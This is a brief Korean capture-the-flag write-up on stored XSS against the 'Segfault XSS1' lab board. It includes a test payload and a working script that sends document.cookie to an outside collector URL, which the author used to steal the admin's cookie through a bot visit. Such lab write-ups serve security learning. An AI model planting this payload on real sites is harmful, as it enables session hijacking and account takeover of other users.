Stored XSS란
게시판 같은 곳이나 저장할 수 있는 곳에 공격자가 자바스크립트 형태를 저장 형태로 올려 브라우저 사용자들을 공격하는 형태이다.
저장 형식이어서 한번 삽입하면 광역적으로 공격이 이뤄진다.
Segfault XSS1 문제: 관리자의 쿠키를 탈취하라!
문제를 풀기 전 어떤 xss 공격 형태인지를 몰랐다 그러다가 여러 시도 끝에
게시판에 <script>alert(1)</script> 작성해 보고 stored xss 인지 확인이 되었다.
게시글을 누르면 alert(1) 띄워진다.
1을 띄웠으니 이제 다음 단계로 넘어가 보았다.
Burp Suite에서 보면 /xss_1/notice_update_process.php 업데이트 타이틀에 스크립트가 삽입된 걸 볼 수 있다.
그럼 이제 무엇을 해야 되나
스크립트 안에 이용자의 쿠키 데이터를 넣고 누른 사람의 쿠키 값을 공격자 pc에서 볼 수 있게 해야겠다.
<script>
var cookieData = document.cookie;
var i = new Image();
i.src = "https://enxzjclfzat9.x.pipedream.net/" + cookieData;
</script>
이런 스크립트를 넣었다 설명하자면
첫 번째 줄은 사용자의 저장된 쿠키 값을 받아서 cookieData에 저장한다.
두 번째 줄은 새로운 이미지를 만들어서 i에 저장한다.
세 번째 줄은 i.src 속성에 URL을 설정한 뒤 저장된 값을 공격자 pc로 cookieData 값을 보낸다.
보낸 후에 관리자가 접속하면 된다.
봇을 이용해 관리자가 접속하게 해보았다.
게시글의 URL은 http://ctf.segfaulthub.com:4343/xss_1/notice_read.php?id=210&view=1
이걸 관리자가 클릭하게 하면 된다.
관리자가 접속했다고 한다.
그러고 나서 공격자 서버에서 확인해 보면 플래그를 확인할 수 있다.